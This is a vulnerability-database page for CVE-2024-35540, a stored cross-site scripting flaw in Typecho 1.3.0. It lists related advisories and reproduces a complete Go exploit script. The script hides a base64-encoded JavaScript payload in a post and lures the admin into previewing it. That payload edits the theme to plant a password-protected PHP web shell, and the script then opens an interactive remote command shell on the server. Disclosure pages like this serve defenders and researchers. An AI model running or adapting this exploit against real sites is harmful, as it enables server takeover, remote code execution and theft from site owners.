Lucene search
K

📄 Typecho 1.3.0 Cross Site Scripting

🗓️ 10 Apr 2025 00:00:00Reported by Michele Di BonaventuraType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 305 Views

Typecho 1.3.0 is vulnerable to stored Cross-Site Scripting exploitation, CVE-2024-35540.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Authentication Bypass by Spoofing in Typecho
18 Aug 202417:09
githubexploit
Circl
CVE-2024-35540
20 Aug 202417:58
circl
CNNVD
typecho 安全漏洞
20 Aug 202400:00
cnnvd
CVE
CVE-2024-35540
20 Aug 202400:00
cve
Cvelist
CVE-2024-35540
20 Aug 202400:00
cvelist
Exploit DB
Typecho 1.3.0 - Stored Cross-Site Scripting (XSS)
10 Apr 202500:00
exploitdb
NVD
CVE-2024-35540
20 Aug 202415:15
nvd
Positive Technologies
PT-2024-26532 · Typecho · Typecho
18 Aug 202400:00
ptsecurity
RedhatCVE
CVE-2024-35540
23 May 202508:19
redhatcve
Vulnrichment
CVE-2024-35540
20 Aug 202400:00
vulnrichment
Rows per page
// Exploit Title: Typecho <= 1.3.0 Stored Cross-Site Scripting (XSS)
    // Google Dork: intext:"Powered by Typecho" inurl:/index.php
    // Date: 18/08/2024
    // Exploit Author: Michele 'cyberaz0r' Di Bonaventura
    // Vendor Homepage: https://typecho.org
    // Software Link: https://github.com/typecho/typecho
    // Version: 1.3.0
    // Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
    // CVE: CVE-2024-35540
    
    // For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/
    
    package main
    
    import (
    	"bufio"
    	"bytes"
    	"crypto/rand"
    	"crypto/sha256"
    	"encoding/base64"
    	"fmt"
    	"net/http"
    	"net/url"
    	"os"
    	"strings"
    	"time"
    )
    
    var (
    	postTitle string       = "Reflected XSS PoC"
    	postText  string       = "Hey admin! Look at the draft of this blog post, can I publish it?"
    	userAgent string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
    	client    *http.Client = &http.Client{
    		CheckRedirect: func(req *http.Request, via []*http.Request) error {
    			return http.ErrUseLastResponse
    		},
    	}
    )
    
    func getEditUrl(u string, cookies string) string {
    	req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil)
    	if err != nil {
    		fmt.Println("[X] Error creating initial request:", err)
    		return ""
    	}
    
    	req.Header.Set("Cookie", cookies)
    	req.Header.Set("User-Agent", userAgent)
    
    	resp, err := client.Do(req)
    	if err != nil {
    		fmt.Println("[X] Error sending initial request:", err)
    		return ""
    	}
    
    	buf := new(bytes.Buffer)
    	buf.ReadFrom(resp.Body)
    	body := buf.String()
    
    	if !strings.Contains(body, "<form action=\"") {
    		fmt.Println("[X] Error finding post edit URL")
    		return ""
    	}
    
    	editUrl := strings.Split(body, "<form action=\"")[1]
    	editUrl = strings.Split(editUrl, "\"")[0]
    
    	return editUrl
    }
    
    func generateRandomBytes() string {
    	bytes := make([]byte, 64)
    	rand.Read(bytes)
    	return fmt.Sprintf("%x", sha256.Sum256(bytes))
    }
    
    func getJsCode(password string) string {
    	phpPayload := `
    		header("X-Random-Token: " . md5(uniqid()));
    		if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "%s") {
    			if (isset($_POST["action"])) {
    				system($_POST["action"]);
    				exit;
    			}
    		}
    	`
    	phpPayload = fmt.Sprintf(phpPayload, password)
    	jsPayload := `
    		var i = document.createElement('iframe');
    		i.src = location.protocol+'//'+location.host+'/admin/theme-editor.php';
    		i.style.display = 'none';
    		document.body.appendChild(i);
    
    		setTimeout(() => {
    			var textarea = i.contentWindow.document.getElementById('content');
    			if (textarea.value.includes(payload))
    				return;
    
    			textarea.value = textarea.value.replace(/<\?php/, '<?php ' + payload);
    
    			var form = i.contentWindow.document.getElementById('theme').submit();
    		}, 200);
    	`
    	return fmt.Sprintf("var payload = `%s`;\n%s", phpPayload, jsPayload)
    }
    
    func generatePayload(jsCode string) string {
    	remainder := len(jsCode) % 3
    	if remainder != 0 {
    		jsCode += strings.Repeat(" ", 3-remainder)
    	}
    	jsCodeEncoded := base64.StdEncoding.EncodeToString([]byte(jsCode))
    	return fmt.Sprintf("[<img style=\"display:none\" src=x onerror=\"eval(atob('%s'))\">][1]\n[1]: https://google.com", jsCodeEncoded)
    }
    
    func createPost(u string, cookies string, payload string) string {
    	formData := url.Values{}
    	formData.Set("title", postTitle)
    	formData.Set("text", payload+"\n"+postText)
    	formData.Set("do", "save")
    	formData.Set("markdown", "1")
    	formData.Set("category%5B%5D", "1")
    	formData.Set("allowComment", "1")
    	formData.Set("allowPing", "1")
    	formData.Set("allowFeed", "1")
    	formData.Set("dst", "60")
    	formData.Set("timezone", "7200")
    
    	req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
    	if err != nil {
    		fmt.Println("[X] Error creating malicious post creation request:", err)
    		return ""
    	}
    
    	req.Header.Set("Cookie", cookies)
    	req.Header.Set("User-Agent", userAgent)
    	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    	req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    	req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1))
    
    	resp, err := client.Do(req)
    	if err != nil {
    		fmt.Println("[X] Error sending malicious post creation request:", err)
    		return ""
    	}
    
    	defer resp.Body.Close()
    	return resp.Header.Get("Location")
    }
    
    func checkInjected(u string) bool {
    	req, err := http.NewRequest("HEAD", u, nil)
    	if err != nil {
    		return false
    	}
    
    	req.Header.Set("User-Agent", userAgent)
    
    	resp, err := client.Do(req)
    	if err != nil {
    		return false
    	}
    
    	return resp.Header.Get("X-Random-Token") != ""
    }
    
    func readInput() string {
    	scanner := bufio.NewScanner(os.Stdin)
    	if scanner.Scan() {
    		return scanner.Text()
    	}
    	return ""
    }
    
    func interactiveShell(u string, password string) {
    	for {
    		fmt.Print("$ ")
    		cmd := readInput()
    
    		formData := url.Values{}
    		formData.Set("CSRFToken", password)
    		formData.Set("action", cmd)
    
    		req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
    		if err != nil {
    			fmt.Println("[X] Error creating shell request:", err)
    			continue
    		}
    
    		req.Header.Set("User-Agent", userAgent)
    		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    		req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    
    		resp, err := client.Do(req)
    		if err != nil {
    			fmt.Println("[X] Error sending shell request:", err)
    			continue
    		}
    
    		buf := new(bytes.Buffer)
    		buf.ReadFrom(resp.Body)
    		body := buf.String()
    
    		fmt.Println(body)
    	}
    }
    
    func main() {
    	if len(os.Args) != 3 {
    		fmt.Println("Usage: go run CVE-2024-35540.go <URL> <COOKIE_HEADER_VALUE>")
    		os.Exit(1)
    	}
    
    	fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r")
    
    	targetUrl := os.Args[1]
    	cookies := os.Args[2]
    
    	fmt.Println("[*] Getting post edit URL with CSRF token...")
    	editUrl := getEditUrl(targetUrl, cookies)
    	if editUrl == "" {
    		fmt.Println("[-] Could not get post edit URL, exiting...")
    		return
    	}
    
    	fmt.Println("[+] Edit URL:", editUrl)
    
    	password := generateRandomBytes()
    	fmt.Println("[+] Generated password to access the webshell: ", password)
    
    	fmt.Println("[*] Generating JavaScript code to inject webshell...")
    	jsCode := getJsCode(password)
    	payload := generatePayload(jsCode)
    
    	fmt.Println("[*] Creating malicious post...")
    	postUrl := createPost(editUrl, cookies, payload)
    	if postUrl == "" || postUrl == "/" {
    		fmt.Println("[-] Could not create malicious post, exiting...")
    		return
    	}
    
    	previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1)
    	fmt.Println("[+] Malicious post created successfully!")
    	fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl)
    
    	fmt.Println("[*] Waiting for the admin to visit the preview URL...")
    	for !checkInjected(targetUrl) {
    		time.Sleep(1 * time.Second)
    	}
    
    	fmt.Println("[+] Webshell injected successfully!")
    	fmt.Println("[+] Enjoy your shell ;)\n")
    	interactiveShell(targetUrl, password)
    }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation